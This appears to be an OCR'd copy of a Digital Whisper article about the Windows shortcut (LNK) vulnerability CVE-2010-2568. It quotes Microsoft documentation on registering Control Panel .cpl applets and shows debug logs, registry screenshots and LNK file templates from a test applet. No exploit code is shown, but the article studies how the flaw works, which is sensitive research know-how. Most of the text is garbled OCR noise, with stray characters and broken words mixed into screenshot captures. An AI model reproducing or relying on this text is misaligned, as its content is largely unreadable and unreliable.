3 . x sd « xs x «KrebsOnSecurity ' 41 31 %o X1, Xk o» X [T 0l x]

v > >v

Fr2 o~ 7 sa® ! xHd s i x4 x . % sesw \fjrusBlokAda - 1+~ ¢ 1 %4 x .

A v ~ ~

ST X w4 XUBBT « Al x4 Tisy % g x s T x s 3 K& (0 x 7

> ~ ~ ~ ~

Fxico » 8 L s 1 fowindows explorer 1 4 « « sl ¢ ¥ X d 44«5 5 .

~ > ~

©x . AdtoplaytAutorunT X Y3l e H o 4 TooX XX NITx L% {0 o X S6E o x . X

a

t L Windowss v | [ :sls. @ x o 44 4% ¥ 1x WindowsExplorer sY, X« {ss¢ s . s

> A v v v

! http://anti -virus.by/en/tempo.shtml
2 https://www.kaspersky.com/resourceenter/definitions/zereday-exploit
3 https://krebsonsecurity.com/2010/07/experisarn-of-new-windowsshortcutflaw/
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https://www.kaspersky.com/resource-center/definitions/zero-day-exploit
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Control Panel (Windows)

From Wikipedia, the free encyclopedia

For other uses, see Control panel.

The Control Panel is a component of Microsoft Windows that provides the ability to
view and change system settings. It consists of a set of applets that include adding or
removing hardware and software, controlling user accounts, changing accessibility
options, and accessing networking settings. Additional applets are provided by third
parties, such as audio and video drivers, VPN tools, input devices, and networking
tools.

The Control Panel has been part of Microsoft Windows since Windows 1.0,['! with
each successive version introducing new applets. Beginning with Windows 95, the
Control Panel is implemented as a special folder, i.e. the folder does not physically
exist, but only contains shortcuts to various applets such as Add or Remove Programs

>

Upload fil . \ .
plosaie and Internet Options. Physically, these applets are stored as .cp/ files. For example,
Tools the Add or Remove Programs applet is stored under the name appwiz.cpl in the
What links here SYSTEM32 folder.
ttps://en.wikipedia.org/wiki/Control_Panel (Windows)Y 8
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> ~ A~ ~ ~
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YA 08w T %X p %A1 0% TixTy |
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4 I l\n Directory 2 # | |File Si @‘I B[ AR~ o
Directory Path Size Modfy Date (o)
C:\Windows old\WINDOWS\System32 189 KB 19/03/2019 6:45:50 AM
C:\Windows.old\WINDOWS\WinSxS\amd64_microsoft-windowsdesk_31bf38... 189 KB 19/03/2019 6:45:50 AM
1%y C:\Windows.old\WINDOWS\WinSxS\amd64_networking-mpssvcuicpl_316f3... 7KB 19/03/2019 6:45:38 AM
| %] Firewall cpl C:\Windows.old\WINDOWS\System32 7KB 19/03/2019 6:45:38 AM
] iprops.cpl C:\Windows old\WINDOWS\WinSxS\amd64_microsoft-windowsiprops<pl_31... 35KB 15/03/2019 6:45:54 AM
j props.cpl C:\Windows old\WINDOWS\System32 35KB 19/03/2019 6:45:54 AM
(%] joy.cpl C:\Windows old\WINDOWS\WinSxS\amd64_microsoft-windowsd. ctx-directin... 96 KB 19/03/2019 6:45:38 AM
%] joy.cpl C:\Windows old\WINDOWS\System32 96 KB 19/03/2019 6:45:38 AM
| %] powercfg cpl C:\Windows old\WINDOWS\WinSxS\amd64_microsoft-windowspowercfg_31... 212KB 19/03/2019 6:45:47 AM
| %] powercfg.cpl C:\Windows.old\WINDOWS\System32 212KB 19/03/2019 6:45:47 AM
TabletPC .cpl C:\Windows old\WINDOWS\WinSxS\amd64_microsoft-windows+abletpc-contr... 688 KB 19/03/2019 6:45:43 AM
| TabletPC.cpl C:\Windows.old\WINDOWS\System32 688 KB 19/03/2019 6:45:45 AM
|%] telephon cpl C:\Windows.old\WINDOWS\WinSxS\amd64_microsoft-windowstapicore_31bf... 107 KB 19/03/2019 6:45:50 AM
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| %] desk cpl C:\Windows old\WINDOWS\SysWOW64 178 KB 19/03/2019 6:46:06 AM
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% Fier b tle Implementing Control Panel Items
~ Implementing Control Panel ltems - 05/31/2018 » 2 minutes to read ag«\,

Implementing Control Panel ltems . . . . .
Control Panel items are DLLs or executable (.exe) files that let users configure the environment of Windows. They
User Experience Guidelines are typically accessed by clicking an icon in the Control Panel.

Registering Control Panel ltems

How to Register Executable Control This section describes Control Panel items and explains how to create and register them so that they appear

Panel ltems appropriately in the Control Panel. For Windows Vista, information is included that tells you how to add task links

that appear under the Control Panel item and in Control Panel search results.
How to Register DLL Control Panel

Items

User Experience Guidelines

Using CPLApplet Registering Control Panel Items

Control Panel Message Processing How To Register Executable Control Panel Items

How To Register DLL Control Panel ltems
Using CPLApplet
Control Panel Message Processing

Executing Control Panel ltems

Extending System Control Panel Items

Assigning Control Panel Categories

Executing Control Panel Items
Creating Searchable Task Links for a

Extending System Control Panel Items

ttps://docs.microsoft.com/erus/windows/win32/shell/controlpanetapplications - Y* € _

S L SP. L S v adS % v T r SCPH R e X H XL T R G s ¢ |

A > L ~ o~ v T v v <

¥ 7" e 1149 @®@HEH X o x MZPE - dwindows

Registering Control Panel Items
05/31/2018 « 2 minutes to read a’@e «:\

Control Panel items must be registered in order to appear in the Control Panel window. If the Control Panel item is implemented as part of a .exe
file then it is registered as a command object. Registration differs if the item is implemented as a .dll file that exports the CPIApplet function.

Specific requirements are discussed in these topics:

e How To Register Executable Control Panel Items

e How To Register DLL Control Panel Items

TodkE LTI L T %TDLLY ~ A ] s 1T " 4 CPL % sy LsTIxq X
@PlApplet _ % 4 . « 7 X

Y4 x 44, 7

~ Implementing Control Panel ltems
Implementing Control Panel ltems
User Experience Guidelines
Registering Control Panel Items

How to Register Executable Control

Panel Items

How to Register DLL Control Panel

ltems
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How to Register Executable Control Panel Items
05/31/2018 = 3 minutes to read - () ) €

For Control Panel items that are implemented as .exe files, no special exports or message handling is required.

Any .exe file can be registered as a command object to appear with an entry point in the Control Panel folder.

An example is used here to demonstrate the registration requirements. The example shows how to register a
Control Panel item called My Settings as a command object so that it appears in the Control Panel window. Thg

My Settings window also appears when the command MyApp.exe /settings is run.

Instructions

Step 1

Generate a GUID for the Control Panel item. The GUID uniquely identifies the Control Panel item. In this exampl
{@052D9FC-6764-4D29-A66F - 2F3BD9E2BB4@} is the GUID of the Control Panel item.

Step 2:

Using the GUID as a name, add a subkey to the registry as follows.

[y Cof

HKEY_LOCAL_MACHINE
SOFTWARE
Microsoft
Windows
Currentversion
Explorer
ControlPanel
NameSpace
{8952D9FC—6764—4D29—A66F—ZFBBDQEZBBAG}
(Default) = My Settings

The data for the Default entry is simply the REG_SZ name of the Control Panel item. The Default entry can be

useful to identify the GUID entry, but it is optional.

Q! TPL 1. X%144-% " 49 .Registrys : ~d x ~_ .l ”
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How to Register DLL Control Panel Items
05/31/2018 + 3 minutes to read - 0’@6“\

@ Note

Current implementation guidelines state that new Control Panel items should be implemented as .exe files rather than .cpl files.
The following information is included mainly for legacy purposes.

Control Panel items that are implemented in a DLL that exports the CPlApplet function have different registration requirements than
.exe files. As of Windows XP, new Control Panel item DLLs should be installed in the associated application’s folder under the
Pragram Files folder. Items that are stored in the System32 directory with a .cpl extension do not need to be registered; they are
automatically shown in the Control Panel. All other Control Panel items that use CPIApplet must be registered in one of two ways:

o [f the Control Panel item is to be available to all users, register the path on a per-computer basis by adding a REG_EXPAND_SZ
value to the HKEY_LOCAL_MACHINE\Software\MicrosoftiWindows\CurrentVersion\Control Panel\Cpls subkey, set to the DLL
path.

o |f the Control Panel item is to be available on a per-user basis, use HKEY_CURRENT_USER as the root key instead of
HKEY_LOCAL_MACHINE.

The following two examples register the MyCplApp Control Panel item. The DLL is named MyCpl.cpl and is located in the
MyCorp\MyApp application directory. This first example illustrates per-computer registration.

Instructions
Step 1:

Add this information to the registry to register the existence of the .cpl file.

B Copy
HKEY_LOCAL_MACHINE
Software
Microsoft
Windows
CurrentVersion
Control Panel
Cpls
MyCpl = [REG_EXPAND_SZ] %ProgramFilesX¥\MyCorp\MyApp\MyCpl.cpl

Step 2:

Windows Vista and later: Add this additional information to the registry to provide a GUID for the Control Panel item.
O Copy

HKEY_LOCAL_MACHINE
Software
Microsoft
Windows
CurrentVersion
Control Panel
Extended Properties
System.Software. AppId
%ProgramfFilesX\MyCorp\MyApp\MyCpl.cpl = {A newly generated GUID}

By generating a GUID to uniquely identify the Control Panel item, you can add task links to the Control Panel. Without this GUID,
there is no way for the task links to be associated with the Control Panel item. See Creating Searchable Task Links for a Control Panel
Item.

Y . v4x,,”|J s . il X s | >:st,, L Cox oL,y g x ,,~A,,|_I=”\ij

~

Control Panel items that are implemented in a DLL that exports the CPlApplet function have different registration requirements than

K CRillZWAs of Windows XP, new Control Panel item DLLs should be installed in the associated application’s folder under the

Program Files folder. Items that are stored in the System32 directory with a .cpl extension do not need to be registered; they are
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Using CPLApplet
05/31/2018 « 3 minutes to read « ‘.@G 3, @

Prior to Windows Vista, you created a Control Panel item by creating a .dll file and naming it with a .cpl extension. This file exported
the CPIApplet function. This scheme is still supported in Windows Vista and later versions and is discussed in this topic. However, the
guidelines for new Control Panel items recommend a simpler approach with the Control Panel item built as a .exe file that uses a task
flow layout.

When Control Panel loads a .dll (or .cpl) file, it calls the CPIApplet function to get information such as the number of Control Panel
items the file hosts, as well as information about each item. Control Panel also calls the function when the item's window is initialized,
opened, or closed.

When Windows first loads the Control Panel item, it retrieves the address of the CPIApplet function and subsequently uses that
address to call the function and pass it messages. It might send the following messages.

Message Description

CPL_DBLCLK Sent to notify CPlApplet that the user has chosen the icon associated with a given Control Panel item. CPIApplet should
display the dialog box for the specified item and carry out any user-specified tasks. The CPIApplet (Param T parameter is
an integer that represents the zero-based index of the Control Panel item. The (Param2 parameter is the IpData pointer
returned in the CPLINFO or NEWCPLINFO structure in the CPL_INQUIRE or CPL_NEWINQUIRE message. The return
value is ignored.

CPL_EXIT Sent after the last CPL_STOP message and immediately before Windows uses the FreelLibrary function to free the DLL
that contains the Control Panel item. CPlApplet should free any remaining memory and prepare to close. The return
value is ignored.

CPL_GETCOUNT Sent after the CPL_INIT message to prompt CPlApplet to return a number that indicates how many subprograms it
supports.
CPL_INIT Sent immediately after the DLL that contains the Control Panel item is loaded. The message prompts CPIApplet to

perform initialization procedures, including memory allocation.

CPL_INQUIRE Sent after the CPL_GETCOUNT message to prompt CPlApplet to provide information about a specified subprogram. The
{Param1 value is an integer that represents the zero-based index of the subprogram about which information is being
requested. The {Param2 parameter of CPIApplet points to a CPLINFO structure. The return value is ignored.

CPL_NEWINQUIRE Sent after the CPL_GETCOUNT message to prompt CPIApplet to provide information about a specified Control Panel
item. The [Param1 value is an integer that represents the zero-based index of the subprogram about which information
is being requested. The [Param2 parameter is a pointer to 3 NEWCPLINFO structure. CPL_NEWINQUIRE normally should
be ignored. Your application should process only CPL_INQUIRE on Windows 95, Microsoft Windows NT 4.0, and later
systems since Control Panel performance suffers when CPL_NEWINQUIRE is used. This is because the returned strings
and icons cannot be cached. The return value is ignored.

CPL_SELECT Obsolete. Current versions of Windows do not send this message.

CPL_STARTWPARMS Sent to notify CPIApplet that the user has chosen the icon associated with a given dialog box. CPIApplet should display
the corresponding dialog box and carry out any user-specified tasks. This message is similar to CPL_DBLCLK, but there
might be some additional information. The [Param 1 parameter is the Control Panel item number and (Param2 is an
LPCTSTR to any extra directions that might be necessary. Return TRUE if this message is handled; otherwise, FALSE. This
message is valid for version 5.00 and later of Sheli32.dll.

CPL_STOP Sent once for each Control Panel item in the .cpl file before Windows unloads the Control Panel extension. CPlApplet
should free any memory associated with the item number provided in [Param1. The (Param2 parameter is IpData pointer
returned in the CPLINFO or NEWCPLINFO structure in the CPL_INQUIRE or CPL_NEWINQUIRE message. The return
value is ignored.
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Dy s bl X bSuwx g As e 2ol Tx o SXagxd "pxq | s | {J§, « 7 Poxsg s

a ~

X7 LT xR s xR L X s _.5_ x Jemplates ~ « 2 % 1 X xo X7

A~ ° ~ ~

X ] .S xs€Txx

A v o~ ~

w41, L5 X EooSSXC xX xs s " ] % -k d oL x ] A

AT~ A v o~ v~

® L~ X SoBkx {81 x| HREKStructs | ! 1 .o %L § B

>

Templatet + | 1OLOEditors ” ] 4 Jusix (4« 0% ILNK X X w4 _ ™ Xs [ ysxi, "

a

=] tn

rogram Files
&) WCheat Engine
6.7\Cheat Engine

F

& =1 tn

L1 = =T

[

[T =]

-

Z2E &5

Template Results - LMK bt
Name

2

]
=

[a g Y

[==aES |

o

O 4 —

[010editor- Ink file template]

- CVE20102568
www.DigitalWhisper.co.il
on HAMH «~ X ~ Mpyx 1LY




2Technoloqgic

O F K A ITHSENK X s HE X T A T

Control Panels »~ _ « b 4 I8 ™ "sl i sis o1 b4 .48 Td oS y xix Tsl]
® x7] "xxoAppletss ¢ ¥ 4 ds{xed T A% s ] T KX CPE L} 2T %Al 7

S X T U ENK, X E g 4L 1R T LT T T 4 X KINKL S Y X L DIESX g g

A

P >4 T ) X 4%7x 7 7o X x 1w _fcon
xp! x <8 { Lxsi X x4 (ICPL * ¥ sicons ¢ <Y 4 sqX ] X

S _Appletst ~ dbr A X B Aax | T IO X ox T x0T ] {ITX a xss X

a ~ ~ ~ ~

X X X SCPLS L S~ A4SILd. 1% £ s 0.7 dcon¥ { «_s.il 44.{1.sx i€entrol Panel

DOLL

niControl PanePpplet. « b~ J x BH <« s w® . {Windowss .  :sls., s | x o
S L« o A4ADLEs o, eex T ATs Ossihslusx BHd ¥4 0 12T 448 1
®4 01, _ Applétss~ cons -+ L X < LAppletsx "

G X d 478 070 % quApplett dbd X bAwd ke AL kXS

File EdR  View Favorkes Took FHelp
) © 3 Psewcn [rotes [T
#ddress |G Control Panet

B B =
Accessibity  Add Hardware Administrative  Automatic  Date and Time Display
Options Remov... Tools Updates

Py 5 P = T @

3 onts Game Irkernet  Keyboxrd Mouse. Nebwork
R Windows Updabs rs Options. Connections

L1 o | 5 @ 8 ®

nd  Pomier Optices Printers nd  Regiond and  Scanners and  Scheduled
Foxes  Llanguage...  Cameras Tasks

Q w W A4 =
Sounds and Speech System Taskbar and  User Accounts
Audio Devices ¢

®" LGP X DI p A XX T XY S s suiT

~ ~ ~ ~ o~ ~ A

S 14 x @@ sTIH L *0Vidual Studio 2007 1 T < 4 Xiod 4s<iqe
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https://digitalwhisper.co.il/files/Zines/0x9E/CPLapplec.7z

BT echnologi

s 4w HE X %7 1 X 00 1 % 4 tedteplt x Axs i s " DEL X Xiw l| w7

%windir%system32

xS o] ] Blbgviewd Lo b SY 4 TSI T 0% XX, x{ dusflsx g ss 1 s

. DLLEs X7 g x o, xS

¥ ~» 85« ControlPanel. , " ¥ 1 _ |

Tebug Frint

13329385  [1652] Test CLP: CPlipplet
.13334854  [1652] Test CLP: CPlipplet
13359106  [1652] Test CLP: CPlipplet

- called.
13370624  [1652] Test CLP: CPlipplet - UNKOUN HSG.

CPL_NEWINQUIRE.
called.

A == = =) = =
wsecedtdl  wshtmdl  wshbthdl  wsheondl  wshextdl  wshipe.dl  wshisn.dl

13379055 [1652] Test CLP: CPlApplet - UNKOUN MSG.

13389519 [1652] Test CLP: CPlipplet - called.
13396528  [1652) Test CLP: CPlipplet - UNKOWN MSG.

0

0

0

0

0

o

@0 tidethe contets of o
79 0.13405673  [1652] Test CLP: CPlipplet - UNKOUN MSG.

0

o

0

0

0

o

0

A oA oy 3 & 3§y 3
wshnetbs.dl  wshom.ocx WshRm.dil wshtepip.dl  wsnmp32.dl  wsock32.dl  wstdecod.dll

2 2 a4 8 99

wstpager.ax wstrendere... wisapiszdl  wuspidl  wuauckLexe wusudt.exe  wuaucpl.cpl

b Add or remave
ograms.

.13411067 [1652] Test CLP: DLL_PROCESS_DETACH.
.14117703  [1652] Test CLP: DLL_PROCESS_ATTACH.
14131281  [1652] Test CLP: CPlpplet - called.
.14140742  [1652] Test CLP: CPlipplet - CPL_INIT.
14146520 [1652] Test CLP: CPlhpplet - called.
.14155050 [1652] Test CLP: CPlipplet - CPL_GETCOUNT.
.14167351  [1652] Test CLP: CPlipplet -

Search for fles or
i

File and Folder Tasks

=) Rename this fie

£ e A 8 A & 9 deiume

Dicrr et wiauengt di wuaeng.dl wususerv.dl  wuckuidl  wupdmgrexe  wips.d
’ Publish this file to the
vieb

(©) E-mai this Fle &] 3] g é] D

X Delete this e

called.

3] Qe - © - | Psewrch [ Folders
envolld Address |G- Control Panel v Be

2 conrotponel e T D W OB 2 =

Accessbiity AddHardware  Addor  Administrative  Automatic DateandTme  Display
Remov... T Updates

wecdg.dl  wacsapidl  wecsvedl  xactsv.dl  xeopy.exe

3 oy 8 & 3

mlprov.dl  xmiprovidl  xolehlp.dl  xpobzres.dl  xpsplres.dl

Other Places

& wimpows B Switch to Category View

@ 1y Documents & 4 o
(% ? S
(2 Shared Documents ~ FRT w Fe g &= \) Q;
My Computer Folder Options  Fonts Game teret  Keyboard  Mouss Network
3 by Netwerk Places sl R Windows Update Controlers  Options Connections
@) Help and Support N 3 2
2 b % B @ F ¢
L 7
Network Setup Phone and  Power Options Printers and  Regionaland  Scanners and Scheduled
iz Hodem ... axes  Language ..
ra e 5
© 9 & W @A
Searty  Simal  Soundsand  Speech  Sysem  Taskbarand | TestCpl
Certer Audo Devices Start Menu

R S @&

£ Control Panel

G .Tx A *IQPE 4 474 T DbgViewr © x| X xg

X, X «pSq «TX % X

~

Cusxp Tx o fo¥sI 4 X T S oAl dx " s 4 i swdh b X hAX "
YCreate Shortcdj. s ~ 41 11
B Control Panel El@

File Edit View Favorites Tools Help

\;) \) L’ /T\/ Search || Folders

Address ‘D’ Control Panel

ﬂ’ Control Panel 6’ § f@ “Tﬂ] “ '\)9 @ k/JI/ /11 ‘69

Accessibility  Add Hardware Add or Administrative  Automatic  Date and Time Display Folder Options Fonts Game
G Switch to Category View Options Remov... Tools Updates Controllers
P = D @ & L ‘ 3
n% L
0 !
See Also \) = = S .4
Internet Keyboard Mouse Network  Network Setup Phone and Power Options Printers and  Regional and  Scanners and
“ Windows Update Options Connections Wizard Modem ... Faxes Language ... Cameras
— 5y © B 9 g E ©® @
7 ) & ¥
Scheduled Security Stmail Sounds and Speech System Taskbar and Open indows
Tasks Center Audio Devices Start Menu

Windows Wireless
Firewall  Network Set...
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¥4 ed XT" wsl, s« 8" XEsT ( df o Losx & 4 d X "

* New Folder (4)

)

@ Psea [ roders | [F)-

Gl - DebugView on WOPENU-E9057805D (local)

FHE {3+ A BB

address ) Do

L X dH s ¢ x s . "".x1 s -|~,,AI "X XS G oNTE

L _icons -

s {94

(4)

1N shortcut to Test
Shortcut
e ixe

WOPE. .. & Hew Folder (4)

L X dUCPE % LT X

Anv

#  Time Debug Print

LA | LR S R Lk N T % S

Ks L

~

>

U+ "4 1 1 L Windows Explorert x _ s » & _ X

~

® 44, 1x " 1 Applets

YL ixd4x 1 ¥ _ Cachae ~ x " ¥ " Explorerex& _r X . N shi ¥
YBHKSX wAqieons _~ | ¥ %« 5§ dn
Yo + @
icons & wx 4l .18 s i
icomt - Y 1 @
*xs © o, lLsx o Cgons - <Y 1 Sal* e ] dcons to.. X di
Hcomt -~ X Bft ¥ « X X%
Yd- b
XXk X 4Ty
rerexe_ _ ¢ LS X, X} X &I Py o lox Xs pxq]ys{ " § X I o

.« Explo

G 1. T AN X, Ty X

> ~ ~ ~

s AU K7 1x ¥ L Explorert ©ov. x v ST x Txs_ 4 1% T4sIT] L
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Y4 _ _ " YEXPLOERE1 : TENKS : « 4 L% § 17

|- [5]X]
(=

appcations | Pocesses | peformence | etworkng | Users

User Name
Adinistrator

Image Name CPU| Mem Usage

sHE | R &- A BBT| T | &

#  Time Debug Print

Type the name of a program, folder, document, or
Internet resource, and Windows will open i For you.

[Jshow processes from all users End Process ‘

Processes: 25 CPUUsage: 1% Commit Charge: 133M 495711

i DebugView on \WOPENU-E9057805D (local)

=@ Q &#- A BBV 97 MA

* Folders

#  Tine Debug Print
File and Folder Tasks Soiakinfedt 24 0.01533166 [1652] Test CLP: CPlipplet - called

25 0.01649878 [1652] Test CLP: CPlipplet - CPL_NEWINQUIRE.
9 Meke anew folder 26 0.01937113  [1652] Test CLP: CPlApplet - called.
& Publh this folder tothe. 27 0.02380716 [1652] Test CLP: CPlApplet - UNKOWN HSG.
Wb 28 0.02860286 [1652) Test CLP: CPlhpplet - UNKOWN MSG.
B2 share this foder 25 0.03238610 [1652] Test CLP: CPlApplet - called.

30 0.03580170 [1652] Test CPlipplet - UNKOWN HSG.

31 0.03802667 [1652] Test CPlApplet - UNKOWN MSG.
Ciisnkinees k 32 0.03977761 [1652] Test DLL_PROCESS_DETACH.
@ eskion 33 0.04616984 [1652] Test DLL_PROCESS_ATTACH.

32 0.04623957 [1652] Test CLP: CPlipplet - called.
35 0.04633780 [1652] Test CPlipplet - CPL_INIT.
i -eedibcaEns 36 0.04651888 [1652] Test CPlipplet - callea
& My Computer 37 0.04664718 [1652] Test CLP: CPlipplet - CPL_GETCOUNT.
&3 1y Network Places 0.04676638  [1652] Test CPlipplet - called.
0.04690135  [1652] Test CPlipplet - CPL_INQUIRE.
0.04700047  [1652] Test CPlipplet - callea
Details 0.04716537  [1652] Test CPlipplet - CPL_NEVINQUIRE.
0.04732335  [1652] Test CPlipplet - called.
0.04743480  [1652] Test CPlApplet - UNKOWN MSG.
0.04748806 [1652] Test CLP: CPlApplet - UNKOWN HSG.
0.04757541  [1652] Test CLP: CPlipplet - called.
0.04763781 [1652] Test CLP: CPlipplet - UNKOUN HSG.
0.04771593  [1652] Test CLP: CPlipplet - UNKOUN HSG.
0.04779571 [1652] Test CLP: DLL_PROCESS_DETACH.

23 My Documents

a

198 4 "IV LB A XS L se KT T X
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Technologic

¥ o X ¥ e XS4 s INKS | X % W70

A 010 Editer - D:\tomen\Limodim\ 1220 1170\ Mamans\projext\MNew folder (3)\Shertcut to Test.Ink
File Edit h t Help
s B8 RS BERelLErs

Shortcut to Test.Ink x
¥

Value

T X7 e xve] «s Ko 4T "I Lax {010editors ] % x L X1

~ ~ v ~ v

x 1 Templatgt -~ < 0 JUSOT SLX X S LSS NS4S T | XX L@ L

~ v ~ v

® 7 L X Xieg DS N XS o] NGB0 X . 1. s

~

11X xS, s ] d e 4] ITemplater - x » < | 4 XS 0w S v4 .~ T+

S X 1L, 1@ s 4w e J X W0A R B L s S LY S fs{fs X[BK 2.bt <X " . . 4

OTULNKE 1 _ ~» x sS4« 17 xx X 03 15  xs i 418 X X 7 xp4"s 7
@D10editor. + 4 1 : ¢ ssl x X isx Al { g, T s X s

- a ~ < ~ > v
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YDListrs ” * 1% : 4% §44 x " |

—~ AT TS AT
CUNIRVUL
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Technologic

M B o« d, X xAxsimd " 1 Template™

=4 010 Editer - DXvtomen Limedim\ 112230 WJTD\Mamans\proJext\Newfolder (3N\Shortcut to Test.Ink
File Edit Search v Format  Scripts  Templates Tools Help

s BEfdEy }!o..")f"' J.K B> AR

Shortcut to Test.Ink x
¥

ontrolPanel

0
KnownFromLi

iption

]
ctiprion[5]

TIAW A A i esol sul 4 TS X xs 05 v 4 f

'IJ:JX"””J- «

¢! TTemplates -« I 4, x

“Applate.s F N: « RPL-s . x X‘_“LLVXS.l N i('ls LNKs . X QX Ayl x

® 11 LNK
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Technolooi

CPLs _ *®q =% Lxs {sxs_ Registry'r _ S ~0 4§ 4sx s 4 X7 Ffs{”

“bx b-|¢x B )CELb X Xaw"d % N ‘SJI‘S s S Js]~ st-|\ssz\-| ”IN\ L X pPphps
OO DKREgistry + X _ 4, Yss T« PODBE -1 _ 151”15 x YSGstem32*

S s T O S XED AT N CPIE , X% <X 4 @l S x T vt sty "

2.83656502 [1652] Test CLP:
283656502 [1652] Test

CPlipplet - called.
CPlipplet - CPL NEVWINQUIRE.

[1652] Test
[1652] Test

Data

) 0efauk) REG_SZ (vabue not set)

[38)internet Connect... REG_SZ Frewall.cpl

(S)netsetupweard  REG_SZ NetSetup.cpl

e 55 . -
= REG_SZ el |

£ °

Stmal  Sounds and
Cameras Tasks ke, Audio Devices

P dlE|e e

Tasibarand | Testpl Juser Accounts  Windows.
Meny Frewal

Debusgiiew on {\0PE 4 Regitry Edtor = Removable Dik (E ® Control Porel

N

Lo~ QPL, X X SeplY . X X 8§k . S Registryt

a

$ 7 L . s X« DA
L X Registry* = « @ % " (PLS Lo o X w G WP AL s ST x X 4% s 4 IPOK
YA T™s fsobx 7

DebugView on WOPENU-E9057805D (local)

sptur Computer Help
SHE R F- A RBEBT| S? | M

# | Time Debug Print

187.22616103 [1652] Test CLP: CPlApplet - called.
187.22618103 [1652] Test CLP: CPlApplet - CPL_NEVINQUIRE.
187.22618103 [1652] Test CLP: CPlApplet - called.
187.22616103 [1652] Test CLP: CPlApplet - UNKOWN HMSG.
187.22618103 [1652] Test CPlApplec - UNKOWN HSG.
187.22618103 [1652] T

mputer Db

= Removable Disk (E:)

Favorkes Took  Help

Qudk - @ F| Pseach [ roders | [

> ) Shortcut to TestCpl
] tinodm | s
e \Speschisapi.col

test.cpl
ontrol Panel extension
78KB

= . b File and Folder Tasks

Accessibiity AddHerdware  Addor  Administrative  Automatic  Date and Time
Options. Remov. Tools Updates

s B

Display  Folder Options  Fonts Game: Internet  Keyboard
Controllers  Options

D e %k %G

9 Make 2 new folder
Publsh this Folder to the
‘ Web.

Share this folder

@ Windows Update
@) Help and support

Other Places

i My Computer
) My Documents

Mouse  MNetwork NetworkSetup Phoneand Power Options Printers and
Connections  Wizard derm .. Faxes () shared Documents
2 & 1y Network Places

Regionaland  Scannersand  Scheduled  Security Simal  Sounds and

Language ...  Camera a ents Audo Devices
¥ ¥ @A 2 &
Speech  System  Taskbarond  Testcpl  UserAccounts  Windows

Start Menu Firewal

e <

Windows
Frewal

Network Set...

L1 K

¢

@D % Jssq . 4L

s” | 1 X1 Explorer-

v
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Fodox,

CPLs 19 _ 4 mlxss” pf

a

r
o !
My Computer
._DebugView on WWOPENU-E9057805D (local)
Fle Ed E

sEd | ]

‘Option

3 -

ompu

@R BB 7

@

’”
~

4

R X e vs st LOdTITIX $ s

A

”

T ST S

Print
Test

Time
0.37756106
0.37763733
0.37772280

Debug
[3128]
[3128]
[3128]
[3128]

CLP: CPlipplet -
CLP: CPlipplet
cLp:

P
P

CPL_GE

TCOUNT.

ed.
CPL_INQUIRE.

[3128]

0.37863481
0.37873667
0.73570144
0.73581660
0.73587286
0.73593622
0.73601371
0.73610169

0.73701769
0.73716080

(3128)
[3128]
[3128]
[3128]
[3128]
[3128)
[3128)
[3128)
[3128)
(3128]
(3128)
[3128]
[3128]
[3128]
[3128]
[3128)
t3128]
[3128)
[3128)

Test
Test
Test
Test

CPL_NEWINQUIRE.

CLP: CPlipplet
CLP: CPlipplet -
CLP: CPlipplet -
CLP: CPlipplet
CLP: DLL_PROCES
CLP: DLL_PROCES!
CLP: CPlipplet -
CLP: CPlipplet -
CLP: CPlipplet -

5]
5_

CLP: CPlipplet -
CLP: CPlipplet -

CLP: CPlipplet -

CLP: CPlipplet -

CLP: CPlipplet -

CLP: CPlipplet -

CLP: CPlipplet - UNI
CLP: DLL_PROCESS_DETACH.

| [3B)(0eFault)
Internet Connect...
[BNetsetupwrzard
ch

Spee
[aB]test Exitest.cpl

File and Folder Tasks

(£ Make anew Folder

) Fublish ths Folder ta the test.cpl
W

|2 Share this folder

Other Places

13 My Computer
() My Documents
(&) Shared Documents
& My Network Places

4 on \{OPE.

Shortcut to Test
KB

78KB
Control Panel exter

r ”oX dai x " CPL * x S I y:.s X 1s ’ ] ] x
[T T 1 S S R qReqistrys v S o~ I ¥oses L L
alts ~ ~ ~ ~ ~ v ~ a
*X 498 s Explorer: '
RN . . rer- -~
h . ore . .
- Deb 0 oP 90 D (lo [m]
e Edt e Options Camputer Hel
FE@ ] 8- A BBT 97 | & -
#  Time Debug Print A
24 0.59354711 [1652] Test CLP: CPlipplet - called. o E
25 0.59372479  [1652] Test CLP: CPlipplet - CPL_NEWINQUIRE.
26 0.59381622 [1652) Test CLP: CPlipplet - called.
27 0.59389681 [1652] Test CLP: CPlipplet - UNKOWN MSG.
28 0.59405422 [1652] Test CLP: CPlipplet - UNKOWN MSG.
Lot 29 0.59408110 [1652] Test CLP: CPlipplet - called.
Removable D ox ¥
Fie Edt Vew Favortes Toos Hebp
Qesck - () (T POseach [ rodes [~ Reg dito
T File Edit View Favorites Help
addres:
* bedil 5 0 Curentversion T 5 oata
N\ Shortcut to TestCpl -3 App Management (Default) REG_SZ (value not set)
bl Lok II S & @8 fopPaths %mmu)canm REG 52 Frewal.col ’
iKe & v REGLS
29 Make a new folder b 8 i [B)netsetuphizard  REG 52 NetSetup.cpl
) Pubish this folder to the test.cpl S [abJ5peec REG_SZ cip A\ i Flestt
Web Control Panel extznsion
> I Ll & (1 Cursors
|2 Share this folder @ dortload
& (1 Extended Properties
& (] Controls Folder
Other Places (1 CSCsettings
T @ Qowr
& (2 Dynamic Directory
&) My Documents &8 e
) Shered Documents (3 Extensions
&3 1y Network Places (3 Group Polcy.
QO vazatse
3 Hints
® (3 Internet Settings
(22 tpcenfTsy
& (] MS-DOS Emulation
(2 mssHa
® NS
(3 optimalLayout
(2 PhotoPropertyHandier
& (1 polcies
(23 PreviewHandiers
& (2 Propertysystem
& (1 Reinstall
£ Reliabilt |
»” »” ’ . x . = .o X, x x
X 77" o 1 ¥4 s 1 Registry X x 001 1S T« X x4 {41 x Ky 1s
~ ° ~ ~ ~ ~ o

A

S Jisx {Xs{d CPLs | X XXl -, ¢ yd xagpplates L o~ db X bBd 4L

s s,

M AT Ix bl ¥ x s ds
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oL~ ”:-|>§_~,,A~|_>\4~J,_><y4xvs:\|_\,,x$z:>V,_s~>< L Wx:,,vx:'|~,><sx~”,_xv'|z|_sjZ’<
X ,oxod e o JRBgistry « « ~Xss 4 b ysystem32* CPL « <b* bFf ¥ @PL
CXpSe s sS {1 LCPES | XX X4 ey fLNKS | X xs S L s X

@ x «Registry* + {1 1 «

By Lox | ALHSIZ 17y |

Y X o x U e 4 A A T s 6 s (s ]

P X el ¥ 1 x KE:D:G X1l 478 xT]s g [sxss o

® " 4x JLNKs X xw TP x |s

1 1 ddH 1+ XE K X% 4~ XT3y isls, s xq «1dAdss yusi "

